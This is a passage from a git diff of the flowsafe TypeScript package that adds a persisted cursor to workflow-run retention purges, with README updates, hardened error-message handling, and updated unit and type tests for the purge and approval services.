deleted during an uncoordinated replacement. Atomic owner-admission protection depends on fenced admission's owner guard; ordinary unfenced starts do not supply that transaction. Decommissioning deletes the bound storage after credentials and traffic are revoked. There is no in-database tenant purge in the single-organization data plane. diff --git a/packages/flowsafe/deploy/README.md b/packages/flowsafe/deploy/README.md index d8504868..47f9ab44 100644 --- a/packages/flowsafe/deploy/README.md +++ b/packages/flowsafe/deploy/README.md @@ -173,13 +173,15 @@ After deployment, authenticate `POST /admin/ensure-maintenance` with `MAINTENANC - `sweepSLA(store, ...)` scans the deployment approval store and escalates open requests past `slaDeadlineAt`. It is maintenance code, not an HTTP service method. - `sweepExpiredRunDeadlines()` enumerates a bounded set of expired runs and routes each compare-and-swap transition through its owner Durable Object. -- `purgeExpiredWorkflowRuns()` deletes terminal snapshots in bounded batches. Suspended and running runs remain at every age. +- `purgeExpiredWorkflowRuns()` scans terminal snapshots and spent start keys in bounded pages. The maintenance Durable Object persists its scan cursor across alarms and restarts. - `purgeExpiredApprovals()` deletes approved and rejected records. Pending, claimed, and escalated requests remain. - `purgeExpiredThreads()` is optional. It deletes an idle thread with its messages and leaves working-memory resources intact. Build the retention `R2ArtifactStore` from the current invocation binding with `artifactStore: (env) => new R2ArtifactStore(env.ARTIFACTS)`, using the same bucket as runtime writes. Snapshot rows are the enumerable record of artifact keys, so artifacts delete before the corresponding row. Factory or deletion failure keeps the row for retry. -If storage uses `tablePrefix`, configure the identical value as `storageTablePrefix` on `createFlowsafeWorker()`. The host accepts an empty prefix or a safe SQL identifier prefix of at most 39 characters that starts with an ASCII letter or underscore and continues with ASCII letters, numbers, or underscores. The limit keeps every final Mastra table identifier within 63 characters. It applies the prefix to workflow-run, thread, background-task, notification, thread-state, and schedule-trigger purges. All six exported low-level purge functions validate the same contract before preparing D1 statements. The host does not auto-discover a prefix or apply it to fixed-schema Flowsafe tables. +Custom purge callers must provide transactional `database.batch()`, persist `advanceCursor` updates, and pass the saved cursor into subsequent calls. Cursor persistence failure stops the run-retention phase; sibling purge duties keep their independent failure handling. See [Retention](../../../docs/do-runner-design.md#retention) for the direct-call contract and generation/namespace limits. + +If storage uses `tablePrefix`, configure the identical value as `storageTablePrefix` on `createFlowsafeWorker()`. Use the prefix contract documented by `createD1Storage()`. A valid retention cursor from a different namespace configuration starts a fresh managed scan; a malformed cursor records a retention failure. Schedules, subscriptions, resources, and working memory have no TTL. The schedule and subscription routes delete their records explicitly. Resources and permanent thread teardown remain host-owned: remove every authoritative binding and wake source before releasing the corresponding ownership claims. Idle-thread retention deletes memory rows but deliberately keeps those claims. Deployment decommissioning removes whatever remains. Open approvals and live runs are never age-purged and remain until they reach a terminal state or the deployment is decommissioned. There is no in-database organization purge. diff --git a/packages/flowsafe/scripts/agent-host-pack-test.mjs b/packages/flowsafe/scripts/agent-host-pack-test.mjs index 8fd63bb3..0db292e4 100644 --- a/packages/flowsafe/scripts/agent-host-pack-test.mjs +++ b/packages/flowsafe/scripts/agent-host-pack-test.mjs @@ -261,6 +261,7 @@ import type { } from '@proofoftech/flowsafe/approval-api'; import { sweepExpiredRunDeadlines, + purgeExpiredWorkflowRuns, FENCED_WORKFLOW_STORAGE, FencedWorkflowsStorageD1, type InitialRunAdmission, @@ -274,6 +275,9 @@ import { type ExecutionFenceState, type ExecutionFenceWiring, type RunTerminalErrorEnvelope, + type RunRetentionCursor, + type RunRetentionScanPosition, + type SnapshotDatabase, type StartIdempotencyWiring, } from '@proofoftech/flowsafe/do-runner'; import { @@ -432,6 +436,20 @@ void bgHost.getTask; void bgHost.listTasks; void bgHost.stream; void sweepExpiredRunDeadlines; +declare const retentionDatabase: SnapshotDatabase & Required>; +declare const snapshotReader: SnapshotDatabase; +const retentionPosition: RunRetentionScanPosition = { afterRowId: -1, highWaterRowId: 12 }; +let retentionCursor: RunRetentionCursor | undefined = { + version: 1, tablePrefix: '', snapshots: retentionPosition, +}; +const persistRetentionCursor = async (next: RunRetentionCursor): Promise => { retentionCursor = next; }; +void purgeExpiredWorkflowRuns(retentionDatabase, { + ttlMs: 1000, cursor: retentionCursor, advanceCursor: persistRetentionCursor, +}); +// @ts-expect-error retention requires a cursor persistence callback +void purgeExpiredWorkflowRuns(retentionDatabase, { ttlMs: 1000 }); +// @ts-expect-error a reader with optional batch cannot guarantee a transaction +void purgeExpiredWorkflowRuns(snapshotReader, { ttlMs: 1000, advanceCursor: persistRetentionCursor }); void createFlowsafeRunnerLifecycle; void createRunRouter; `, @@ -672,6 +690,22 @@ assert.equal(blocked instanceof flowsafe.RunLifecycleBlockedError, true); assert.equal(blocked.name, 'RunLifecycleBlockedError'); assert.equal(blocked.reason.code, 'DISPUTED_SETTLEMENT'); const binding = sqliteUnitDatabase(openSqlite()); +const retentionBinding = sqliteUnitDatabase(openSqlite()); +await retentionBinding.prepare('CREATE TABLE mastra_workflow_snapshot (workflow_name TEXT NOT NULL, run_id TEXT NOT NULL, resourceId TEXT, snapshot TEXT NOT NULL, createdAt TEXT NOT NULL, updatedAt TEXT NOT NULL, UNIQUE(workflow_name, run_id))').run(); +for (const [runId, provenance] of [ + ['malformed-retention', { version: 2, startToken: 42 }], + ['eligible-retention', { version: 2, startToken: 'packed-retention-generation', attemptToken: 'packed-retention-attempt', resumeCounts: [] }], +]) { + await retentionBinding.prepare('INSERT INTO mastra_workflow_snapshot (workflow_name, run_id, snapshot, createdAt, updatedAt) VALUES (?, ?, ?, ?, ?)') + .bind('packed-retention', runId, JSON.stringify({ status: 'success', requestContext: { 'flowsafe.runProvenance': provenance } }), '2020-01-01T00:00:00.000Z', '2020-01-01T00:00:00.000Z').run(); +} +let retainedCursor; +const retentionOptions = { ttlMs: 1000, limit: 1, now: () => Date.parse('2026-09-08T00:00:00.000Z'), advanceCursor: async next => { retainedCursor = structuredClone(next); } }; +assert.equal(await doRunner.purgeExpiredWorkflowRuns(retentionBinding, retentionOptions), 0); +assert.ok(retainedCursor.snapshots); +assert.equal(await doRunner.purgeExpiredWorkflowRuns(retentionBinding, { ...retentionOptions, cursor: retainedCursor }), 1); +assert.equal(retainedCursor.snapshots, undefined); +assert.deepEqual((await retentionBinding.prepare('SELECT run_id FROM mastra_workflow_snapshot').all()).results.map(row => row.run_id), ['malformed-retention']); const storage = doRunner.createD1Storage({ binding }); let engineCalls = 0; const workflow = createWorkflow({ id: 'packed-initial', inputSchema: z.object({}), outputSchema: z.object({}) }) diff --git a/packages/flowsafe/src/approval-api/retention.ts b/packages/flowsafe/src/approval-api/retention.ts index 78e939fe..54688db2 100644 --- a/packages/flowsafe/src/approval-api/retention.ts +++ b/packages/flowsafe/src/approval-api/retention.ts @@ -66,8 +66,7 @@ export interface PurgeExpiredApprovalsOptions { now?: () => number; /** * Records deleted per call — one LIMIT-batched DELETE per firing; the - * shrinking eligible set is the cursor across firings (same convention as - * purgeExpiredWorkflowRuns' row-only path). Default 1000. + * shrinking eligible set is the cursor across firings. Default 1000. */ limit?: number; } diff --git a/packages/flowsafe/src/approval-api/service.test.ts b/packages/flowsafe/src/approval-api/service.test.ts index 74f94611..4f089108 100644 --- a/packages/flowsafe/src/approval-api/service.test.ts +++ b/packages/flowsafe/src/approval-api/service.test.ts @@ -1708,6 +1708,101 @@ describe('ApprovalService.delegate concurrency', () => { }); }); +describe('ApprovalService sink failure diagnostics', () => { + const failures = [ + { + name: 'ordinary Error', + create: () => new Error('transport unavailable'), + diagnostic: 'transport unavailable', + }, + { + name: 'throwing message getter', + create: () => + Object.defineProperty(new Error(), 'message', { + get() { + throw new Error('message getter failed'); + }, + }), + diagnostic: 'unreadable error', + }, + { + name: 'BigInt message', + create: () => + Object.defineProperty(new Error(), 'message', { value: 1n }), + diagnostic: '1', + }, + { + name: 'null-prototype rejection', + create: () => Object.create(null), + diagnostic: 'unreadable error', + }, + ]; + + for (const sink of ['notify', 'stream'] as const) { + for (const mode of ['threw', 'rejected'] as const) { + it.each( + failures, + )(`${sink} ${mode} with $name preserves the approval and audit`, async ({ + create, + diagnostic, + }) => { + const harness = makeHarness({ + [sink]: () => { + if (mode === 'threw') throw create(); + return Promise.reject(create()); + }, + }); + + const record = await seedPending(harness); + await new Promise((resolve) => setTimeout(resolve, 0)); + + expect((await harness.store.get(record.id))?.status).toBe('pending'); + expect(harness.events).toContainEqual( + expect.objectContaining({ + action: `approval.${sink}`, + decision: 'error', + reason: `${sink === 'notify' ? 'notification' : 'stream'} sink ${mode}: ${diagnostic}`, + }), + ); + }); + } + } + + it.each( + failures, + )('continues the SLA sweep when escalation hooks throw with $name', async ({ + create, + diagnostic, + }) => { + const harness = makeHarness(); + const first = await seedPending(harness, { slaSeconds: 60 }); + const second = await seedPending(harness, { + slaSeconds: 60, + runId: 'acme_run-2', + }); + harness.advance(61_000); + + const escalated = await runSweep(harness, { + onEscalation: () => { + throw create(); + }, + }); + + expect(escalated.map(({ id }) => id).sort()).toEqual( + [first.id, second.id].sort(), + ); + expect( + harness.events.filter( + (event) => + event.action === 'approval.escalate' && event.decision === 'error', + ), + ).toEqual([ + expect.objectContaining({ reason: `onEscalation threw: ${diagnostic}` }), + expect.objectContaining({ reason: `onEscalation threw: ${diagnostic}` }), + ]); + }); +}); + describe('ApprovalService notification seam', () => { it('notifies once per actually-created record, with the record', async () => { // #given diff --git a/packages/flowsafe/src/approval-api/service.ts b/packages/flowsafe/src/approval-api/service.ts index 66332c35..8030c263 100644 --- a/packages/flowsafe/src/approval-api/service.ts +++ b/packages/flowsafe/src/approval-api/service.ts @@ -1286,7 +1286,11 @@ export class ApprovalService { } function errorMessage(error: unknown): string { - return error instanceof Error ? error.message : String(error); + try { + return String(error instanceof Error ? error.message : error); + } catch { + return 'unreadable error'; + } } // Maps a per-record decide() failure to BatchDecideItem.code — the same diff --git a/packages/flowsafe/src/do-runner/d1-storage.test.ts b/packages/flowsafe/src/do-runner/d1-storage.test.ts index 8692cf93..e15e54de 100644 --- a/packages/flowsafe/src/do-runner/d1-storage.test.ts +++ b/packages/flowsafe/src/do-runner/d1-storage.test.ts @@ -34,6 +34,8 @@ import { D1ThreadStateStorage } from '../signals/thread-state-d1.js'; import type { D1DatabaseBinding } from './cf-types.js'; import { createD1Storage, + type PurgeExpiredRunsOptions, + parseRunRetentionCursor, purgeExpiredBackgroundTasks, purgeExpiredNotifications, purgeExpiredScheduleTriggers, @@ -42,12 +44,16 @@ import { purgeExpiredWorkflowRuns, RUN_TTL_FLOWSAFE_PURGE_TABLES, type RunDeadlineCursor, + type RunRetentionCursor, type SnapshotDatabase, type SnapshotStatement, sweepExpiredRunDeadlines, } from './d1-storage.js'; +import { normalizeStartExecutionIdentity } from './execution-admission.js'; import { FENCED_WORKFLOW_STORAGE } from './fenced-workflow-capability.js'; import { FencedWorkflowsStorageD1 } from './fenced-workflows-d1.js'; +import { parseRunLifecycle } from './run-lifecycle.js'; +import { decodeRunStartIdentity } from './run-provenance.js'; import { START_IDEMPOTENCY_DDL, START_IDEMPOTENCY_TABLE, @@ -75,13 +81,20 @@ function d1Like(db: SqliteDatabase): SnapshotDatabase { return { prepare: (sql: string) => statement(sql, []) }; } +type RetentionTestDatabase = SnapshotDatabase & + Required>; + +function retentionDb(db: SqliteDatabase): RetentionTestDatabase { + return sqliteUnitDatabase(db) as RetentionTestDatabase; +} + function lifecycleStores(db: SqliteDatabase): { - snapshots: SnapshotDatabase; + snapshots: RetentionTestDatabase; resources: D1ResourceOwnershipStore; } { const binding = sqliteUnitDatabase(db); return { - snapshots: binding as SnapshotDatabase, + snapshots: binding as RetentionTestDatabase, resources: new D1ResourceOwnershipStore( binding as ResourceOwnershipDatabase, ), @@ -101,7 +114,8 @@ function createSnapshotTable(db: SqliteDatabase, prefix = ''): void { resourceId TEXT, snapshot TEXT NOT NULL, createdAt TEXT NOT NULL, - updatedAt TEXT NOT NULL + updatedAt TEXT NOT NULL, + UNIQUE(workflow_name, run_id) )`, ).run(); } @@ -325,7 +339,12 @@ const PUBLIC_PURGE_CASES = [ { name: 'purgeExpiredWorkflowRuns', run: (db, tablePrefix, now) => - purgeExpiredWorkflowRuns(db, { ttlMs: DAY_MS, tablePrefix, now }), + purgeExpiredWorkflowRuns(db as RetentionTestDatabase, { + advanceCursor: async () => {}, + ttlMs: DAY_MS, + tablePrefix, + now, + }), }, { name: 'purgeExpiredThreads', @@ -355,6 +374,56 @@ const PUBLIC_PURGE_CASES = [ ] satisfies PublicPurgeCase[]; describe('sweepExpiredRunDeadlines', () => { + it.each([ + 'transition', + 'cursor', + ] as const)('contains a throwing Error.message during %s failure reporting', async (boundary) => { + const db = openSqlite(); + createSnapshotTable(db); + seedDeadlineRun(db, { + runId: 'poison', + status: 'suspended', + revision: 1, + deadlineAt: NOW - 2, + }); + seedDeadlineRun(db, { + runId: 'eligible', + status: 'suspended', + revision: 1, + deadlineAt: NOW - 1, + }); + const failure = Object.defineProperty(new Error(), 'message', { + get() { + throw new Error('message getter failed'); + }, + }); + const attempts: string[] = []; + const advances: string[] = []; + let cursor: RunDeadlineCursor | undefined; + await expect( + sweepExpiredRunDeadlines(d1Like(db), { + now: () => NOW, + transition: async (candidate) => { + attempts.push(candidate.runId); + if (boundary === 'transition' && candidate.runId === 'poison') + throw failure; + }, + advanceCursor: async (next) => { + advances.push(next.runId); + if (boundary === 'cursor' && next.runId === 'poison') throw failure; + cursor = next; + }, + }), + ).rejects.toThrow(/1 of 2 run\(s\) failed \(wf\/poison:/); + expect(attempts).toEqual(['poison', 'eligible']); + expect(advances).toEqual(['poison', 'eligible']); + expect(cursor).toEqual({ + workflowId: 'wf', + runId: 'eligible', + deadlineAt: NOW - 1, + }); + }); + it('bounds a pass, isolates failures, and re-drives the failed row', async () => { const db = openSqlite(); createSnapshotTable(db); @@ -792,7 +861,8 @@ describe('public purge table-prefix validation', () => { }) => { let prepareCalls = 0; let nowCalls = 0; - const db: SnapshotDatabase = { + const db: RetentionTestDatabase = { + batch: async () => [], prepare: () => { prepareCalls += 1; throw new Error('prepare must not run'); @@ -818,7 +888,8 @@ describe('public purge table-prefix validation', () => { }) => { let prepareCalls = 0; let nowCalls = 0; - const db: SnapshotDatabase = { + const db: RetentionTestDatabase = { + batch: async () => [], prepare: () => { prepareCalls += 1; throw new Error('prepare must not run'); @@ -840,8 +911,6 @@ describe('public purge table-prefix validation', () => { describe('purgeExpiredWorkflowRuns', () => { it('deletes only stale TERMINAL runs and returns the count', async () => { - // #given — every terminal status seeded fresh AND stale, every live - // status seeded stale const sqlite = openSqlite(); createSnapshotTable(sqlite); for (const status of TERMINAL) { @@ -866,16 +935,11 @@ describe('purgeExpiredWorkflowRuns', () => { updatedAt: NOW - 30 * DAY_MS, }); } - - // #when — 7-day TTL - const deleted = await purgeExpiredWorkflowRuns(d1Like(sqlite), { + const deleted = await purgeExpiredWorkflowRuns(retentionDb(sqlite), { + advanceCursor: async () => {}, ttlMs: 7 * DAY_MS, now: () => NOW, }); - - // #then — exactly the six stale terminal rows are gone; fresh terminal - // rows and ALL live rows (however old — a stale suspended run is a - // pending approval, not garbage) survive expect(deleted).toBe(TERMINAL.length); expect(remainingRunIds(sqlite)).toEqual( [ @@ -904,7 +968,8 @@ describe('purgeExpiredWorkflowRuns', () => { }); await expect( - purgeExpiredWorkflowRuns(d1Like(sqlite), { + purgeExpiredWorkflowRuns(retentionDb(sqlite), { + advanceCursor: async () => {}, ttlMs: 7 * DAY_MS, now: () => NOW, }), @@ -913,7 +978,6 @@ describe('purgeExpiredWorkflowRuns', () => { }); it('returns 0 when nothing qualifies', async () => { - // #given const sqlite = openSqlite(); createSnapshotTable(sqlite); seedRun(sqlite, { @@ -921,10 +985,9 @@ describe('purgeExpiredWorkflowRuns', () => { status: 'success', updatedAt: NOW - 1 * DAY_MS, }); - - // #when / #then expect( - await purgeExpiredWorkflowRuns(d1Like(sqlite), { + await purgeExpiredWorkflowRuns(retentionDb(sqlite), { + advanceCursor: async () => {}, ttlMs: 7 * DAY_MS, now: () => NOW, }), @@ -956,6 +1019,7 @@ describe('purgeExpiredWorkflowRuns', () => { expect( await purgeExpiredWorkflowRuns(snapshots, { + advanceCursor: async () => {}, ttlMs: 7 * DAY_MS, now: () => NOW, resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE, @@ -987,6 +1051,7 @@ describe('purgeExpiredWorkflowRuns', () => { await expect( purgeExpiredWorkflowRuns(snapshots, { + advanceCursor: async () => {}, ttlMs: 7 * DAY_MS, now: () => NOW, resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE, @@ -1016,7 +1081,7 @@ describe('purgeExpiredWorkflowRuns', () => { }); const backingBatch = binding.batch?.bind(binding); if (!backingBatch) throw new Error('test D1 adapter must provide batch'); - const racing: SnapshotDatabase = { + const racing: RetentionTestDatabase = { prepare: binding.prepare.bind(binding), batch: async (statements) => { sqlite @@ -1030,6 +1095,7 @@ describe('purgeExpiredWorkflowRuns', () => { expect( await purgeExpiredWorkflowRuns(racing, { + advanceCursor: async () => {}, ttlMs: 7 * DAY_MS, now: () => NOW, resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE, @@ -1043,7 +1109,6 @@ describe('purgeExpiredWorkflowRuns', () => { }); it('respects the table prefix', async () => { - // #given — two tables in one database, only the prefixed one targeted const sqlite = openSqlite(); createSnapshotTable(sqlite); createSnapshotTable(sqlite, 'flowsafe_'); @@ -1058,23 +1123,18 @@ describe('purgeExpiredWorkflowRuns', () => { updatedAt: NOW - 8 * DAY_MS, prefix: 'flowsafe_', }); - - // #when - const deleted = await purgeExpiredWorkflowRuns(d1Like(sqlite), { + const deleted = await purgeExpiredWorkflowRuns(retentionDb(sqlite), { + advanceCursor: async () => {}, ttlMs: 7 * DAY_MS, tablePrefix: 'flowsafe_', now: () => NOW, }); - - // #then expect(deleted).toBe(1); expect(remainingRunIds(sqlite)).toEqual(['unprefixed']); expect(remainingRunIds(sqlite, 'flowsafe_')).toEqual([]); }); it('skips malformed snapshot rows instead of aborting the purge', async () => { - // #given — a corrupt (non-JSON) snapshot beside a valid stale terminal - // row and a valid stale live row const sqlite = openSqlite(); createSnapshotTable(sqlite); seedRun(sqlite, { @@ -1095,21 +1155,16 @@ describe('purgeExpiredWorkflowRuns', () => { VALUES ('wf', 'corrupt', NULL, 'not-json{oops', ?, ?)`, ) .run(corruptIso, corruptIso); - - // #when — one corrupt row must not abort reclaiming the valid ones - const deleted = await purgeExpiredWorkflowRuns(d1Like(sqlite), { + const deleted = await purgeExpiredWorkflowRuns(retentionDb(sqlite), { + advanceCursor: async () => {}, ttlMs: 7 * DAY_MS, now: () => NOW, }); - - // #then — the valid stale terminal row is gone; the corrupt row (not - // provably terminal — fail safe) and the live row survive expect(deleted).toBe(1); expect(remainingRunIds(sqlite)).toEqual(['corrupt', 'stale-live']); }); it('treats the TTL boundary exclusively: exactly-at-cutoff rows survive', async () => { - // #given — a run whose updatedAt equals the cutoff instant const sqlite = openSqlite(); createSnapshotTable(sqlite); seedRun(sqlite, { @@ -1117,10 +1172,9 @@ describe('purgeExpiredWorkflowRuns', () => { status: 'success', updatedAt: NOW - 7 * DAY_MS, }); - - // #when / #then — strict < : the boundary row is not yet expired expect( - await purgeExpiredWorkflowRuns(d1Like(sqlite), { + await purgeExpiredWorkflowRuns(retentionDb(sqlite), { + advanceCursor: async () => {}, ttlMs: 7 * DAY_MS, now: () => NOW, }), @@ -1128,20 +1182,17 @@ describe('purgeExpiredWorkflowRuns', () => { }); it('treats a MISSING snapshot table as zero purgeable runs (Mastra creates it lazily)', async () => { - // #given — a database where no run ever persisted, so Mastra's lazy - // CREATE TABLE never happened const sqlite = openSqlite(); - - // #when / #then — maintenance purge must not fail until some unrelated run - // initializes the schema expect( - await purgeExpiredWorkflowRuns(d1Like(sqlite), { + await purgeExpiredWorkflowRuns(retentionDb(sqlite), { + advanceCursor: async () => {}, ttlMs: 7 * DAY_MS, now: () => NOW, }), ).toBe(0); expect( - await purgeExpiredWorkflowRuns(d1Like(sqlite), { + await purgeExpiredWorkflowRuns(retentionDb(sqlite), { + advanceCursor: async () => {}, ttlMs: 7 * DAY_MS, now: () => NOW, artifactStore: { @@ -1154,8 +1205,6 @@ describe('purgeExpiredWorkflowRuns', () => { }); it("pairs each purged run's artifact deletion with its snapshot row when artifactStore is wired", async () => { - // #given — a stale terminal run beside a fresh terminal and a stale live - // one; only the first is eligible const sqlite = openSqlite(); createSnapshotTable(sqlite); seedRun(sqlite, { @@ -1180,16 +1229,12 @@ describe('purgeExpiredWorkflowRuns', () => { return 2; }, }; - - // #when - const deleted = await purgeExpiredWorkflowRuns(d1Like(sqlite), { + const deleted = await purgeExpiredWorkflowRuns(retentionDb(sqlite), { + advanceCursor: async () => {}, ttlMs: 7 * DAY_MS, now: () => NOW, artifactStore, }); - - // #then — exactly the purged run's artifacts went with its row; the - // survivors keep theirs; deployment teardown deletes the bound bucket. expect(deleted).toBe(1); expect(deletedArtifacts).toEqual(['wf/stale-done']); expect(remainingRunIds(sqlite)).toEqual(['fresh-done', 'stale-open']); @@ -1212,7 +1257,7 @@ describe('purgeExpiredWorkflowRuns', () => { }); const backingBatch = binding.batch?.bind(binding); if (!backingBatch) throw new Error('test D1 adapter must provide batch'); - const racing: SnapshotDatabase = { + const racing: RetentionTestDatabase = { prepare: binding.prepare.bind(binding), batch: async (statements) => { sqlite @@ -1226,6 +1271,7 @@ describe('purgeExpiredWorkflowRuns', () => { expect( await purgeExpiredWorkflowRuns(racing, { + advanceCursor: async () => {}, ttlMs: 7 * DAY_MS, now: () => NOW, artifactStore: { deleteRun: async () => 1 }, @@ -1239,10 +1285,7 @@ describe('purgeExpiredWorkflowRuns', () => { }); }); - it('LIMIT-batches the artifact-paired path; the shrinking eligible set is the cursor', async () => { - // #given — three stale terminal runs, batch size 2 (the subrequest- - // budget guard: an unbounded first backlog would blow the Workers - // per-invocation cap) + it('bounds artifact work per invocation', async () => { const sqlite = openSqlite(); createSnapshotTable(sqlite); for (const runId of ['stale-a', 'stale-b', 'stale-c']) { @@ -1265,12 +1308,14 @@ describe('purgeExpiredWorkflowRuns', () => { artifactStore, limit: 2, }; - - // #when — two passes - const first = await purgeExpiredWorkflowRuns(d1Like(sqlite), options); - const second = await purgeExpiredWorkflowRuns(d1Like(sqlite), options); - - // #then — the batches advance without a cursor row and stay paired + const first = await purgeExpiredWorkflowRuns(retentionDb(sqlite), { + advanceCursor: async () => {}, + ...options, + }); + const second = await purgeExpiredWorkflowRuns(retentionDb(sqlite), { + advanceCursor: async () => {}, + ...options, + }); expect(first).toBe(2); expect(second).toBe(1); expect(deletedArtifacts.sort()).toEqual(['stale-a', 'stale-b', 'stale-c']); @@ -1278,9 +1323,6 @@ describe('purgeExpiredWorkflowRuns', () => { }); it("a failing artifact delete leaves that run's snapshot row for the next sweep (artifacts-first ordering)", async () => { - // #given — artifacts go BEFORE the row: if this order ever flips, a - // crash between the two strands the artifacts forever (the row is their - // only enumerable record) const sqlite = openSqlite(); createSnapshotTable(sqlite); seedRun(sqlite, { @@ -1293,23 +1335,18 @@ describe('purgeExpiredWorkflowRuns', () => { throw new Error('R2 unavailable'); }, }; - - // #when / #then — the failure propagates (the purge duty logs it)... await expect( - purgeExpiredWorkflowRuns(d1Like(sqlite), { + purgeExpiredWorkflowRuns(retentionDb(sqlite), { + advanceCursor: async () => {}, ttlMs: 7 * DAY_MS, now: () => NOW, artifactStore, }), ).rejects.toThrow('R2 unavailable'); - // ...and the row survives as the retry cursor expect(remainingRunIds(sqlite)).toEqual(['stale-done']); }); it("one run's wedged artifact delete does not stall the eligible rows behind it", async () => { - // #given — five stale terminal runs; only the middle one's deleteRun is - // permanently broken. Without per-run isolation the loop aborts at the - // same scan position EVERY firing and the runs behind it never purge. const sqlite = openSqlite(); createSnapshotTable(sqlite); for (const runId of ['r1-ok', 'r2-ok', 'r3-bad', 'r4-ok', 'r5-ok']) { @@ -1326,17 +1363,16 @@ describe('purgeExpiredWorkflowRuns', () => { }, }; const options = { ttlMs: 7 * DAY_MS, now: () => NOW, artifactStore }; - - // #when / #then — the pass purges the other four, then reports the - // failure (naming the run) so the purge duty's error surface still fires await expect( - purgeExpiredWorkflowRuns(d1Like(sqlite), options), - ).rejects.toThrow('wf/r3-bad: permanently broken'); + purgeExpiredWorkflowRuns(retentionDb(sqlite), { + advanceCursor: async () => {}, + ...options, + }), + ).rejects.toThrow('permanently broken'); expect(remainingRunIds(sqlite)).toEqual(['r3-bad']); - - // #then — a later pass with the store healed reaps the survivor expect( - await purgeExpiredWorkflowRuns(d1Like(sqlite), { + await purgeExpiredWorkflowRuns(retentionDb(sqlite), { + advanceCursor: async () => {}, ...options, artifactStore: { deleteRun: async () => 1 }, }), @@ -1860,7 +1896,6 @@ describe('purgeExpiredThreads (agent-memory thread TTL)', () => { describe('purgeExpiredWorkflowRuns row-only batching', () => { it('LIMIT-batches the bulk path: one firing reclaims at most `limit` rows; the next resumes at the survivors', async () => { - // #given — more expired terminal rows than one batch const sqlite = openSqlite(); createSnapshotTable(sqlite); for (let index = 0; index < 5; index += 1) { @@ -1870,22 +1905,20 @@ describe('purgeExpiredWorkflowRuns row-only batching', () => { updatedAt: NOW - 40 * DAY_MS, }); } - const db = d1Like(sqlite); - - // #when — two firings at limit 3 + const db = retentionDb(sqlite); const first = await purgeExpiredWorkflowRuns(db, { + advanceCursor: async () => {}, ttlMs: 30 * DAY_MS, limit: 3, now: () => NOW, }); const survivors = remainingRunIds(sqlite).length; const second = await purgeExpiredWorkflowRuns(db, { + advanceCursor: async () => {}, ttlMs: 30 * DAY_MS, limit: 3, now: () => NOW, }); - - // #then — the shrinking eligible set is the cursor across firings expect(first).toBe(3); expect(survivors).toBe(2); expect(second).toBe(2); @@ -2339,20 +2372,6 @@ describe('purgeExpiredScheduleTriggers', () => { }); }); -// --------------------------------------------------------------------------- -// Start-reservation retention. -// -// The reservation is what makes a spent idempotency key answerable, so its -// retention has one hard rule and one soft one: -// -// HARD a reservation must NEVER be deleted while the run it names is still -// readable. Break it and the very next retry of that key mints a fresh -// run beside the live one — the exact double-execution the key was -// bought to prevent. -// SOFT a reservation must eventually be deleted, or the one table this -// deployment cannot drain grows forever. -// --------------------------------------------------------------------------- - function createReservationTable(db: SqliteDatabase): void { db.prepare(START_IDEMPOTENCY_DDL).run(); } @@ -2400,7 +2419,6 @@ function reservationRows( describe('purgeExpiredWorkflowRuns — start reservations', () => { it('deletes a spent reservation in the SAME batch as its run’s snapshot', async () => { - // #given a completed run past both horizons, with its key already settled const sqlite = openSqlite(); createSnapshotTable(sqlite); createReservationTable(sqlite); @@ -2416,24 +2434,18 @@ describe('purgeExpiredWorkflowRuns — start reservations', () => { state: 'terminal', updatedAt: NOW - 8 * DAY_MS, }); - - // #when await purgeExpiredWorkflowRuns(sqliteUnitDatabase(sqlite) as never, { + advanceCursor: async () => {}, ttlMs: 7 * DAY_MS, resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE, startIdempotencyTable: START_IDEMPOTENCY_TABLE, now: () => NOW, }); - - // #then both are gone, and gone together expect(remainingRunIds(sqlite)).toEqual([]); expect(reservationRows(sqlite)).toEqual([]); }); it('KEEPS a reservation whose horizon has not elapsed, so a late retry is told ALREADY_SETTLED', async () => { - // #given a run at the run-TTL boundary but a key-validity horizon twice as - // long — the configuration a host uses when its callers retry for longer - // than it keeps run summaries const sqlite = openSqlite(); createSnapshotTable(sqlite); createReservationTable(sqlite); @@ -2449,19 +2461,14 @@ describe('purgeExpiredWorkflowRuns — start reservations', () => { state: 'terminal', updatedAt: NOW - 8 * DAY_MS, }); - - // #when await purgeExpiredWorkflowRuns(sqliteUnitDatabase(sqlite) as never, { + advanceCursor: async () => {}, ttlMs: 7 * DAY_MS, startIdempotencyTtlMs: 30 * DAY_MS, resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE, startIdempotencyTable: START_IDEMPOTENCY_TABLE, now: () => NOW, }); - - // #then the snapshot is reclaimed and the reservation OUTLIVES it. That - // ordering is the whole point: a retry after this pass hits - // ALREADY_SETTLED instead of looking like a brand-new key. expect(remainingRunIds(sqlite)).toEqual([]); expect(reservationRows(sqlite)).toEqual([ expect.objectContaining({ key: 'key-old', state: 'terminal' }), @@ -2469,9 +2476,6 @@ describe('purgeExpiredWorkflowRuns — start reservations', () => { }); it('floors the reservation horizon at the run TTL, whatever a caller asks for', async () => { - // #given a caller asking for a horizon SHORTER than run retention — a - // configuration in which a reservation would be reaped while its run is - // still readable, and the next retry of that key would start a second run const sqlite = openSqlite(); createSnapshotTable(sqlite); createReservationTable(sqlite); @@ -2486,25 +2490,18 @@ describe('purgeExpiredWorkflowRuns — start reservations', () => { state: 'terminal', updatedAt: NOW - 1 * DAY_MS, }); - - // #when await purgeExpiredWorkflowRuns(sqliteUnitDatabase(sqlite) as never, { + advanceCursor: async () => {}, ttlMs: 7 * DAY_MS, startIdempotencyTtlMs: 1, startIdempotencyTable: START_IDEMPOTENCY_TABLE, now: () => NOW, }); - - // #then the run is not eligible, and neither is its reservation: the floor - // makes the dangerous configuration unreachable rather than merely unwise. expect(remainingRunIds(sqlite)).toEqual(['run-live']); expect(reservationRows(sqlite)).toHaveLength(1); }); - it('marks a reservation the terminal reconcile missed, instead of stranding it', async () => { - // #given a run that completed and was purged, but whose reservation is - // still 'started' — the shape a crash between the terminal persist and - // settleRun leaves behind + it('preserves an unsettled legacy reservation after snapshot expiry', async () => { const sqlite = openSqlite(); createSnapshotTable(sqlite); createReservationTable(sqlite); @@ -2519,31 +2516,23 @@ describe('purgeExpiredWorkflowRuns — start reservations', () => { state: 'started', updatedAt: NOW - 8 * DAY_MS, }); - - // #when await purgeExpiredWorkflowRuns(sqliteUnitDatabase(sqlite) as never, { + advanceCursor: async () => {}, ttlMs: 7 * DAY_MS, 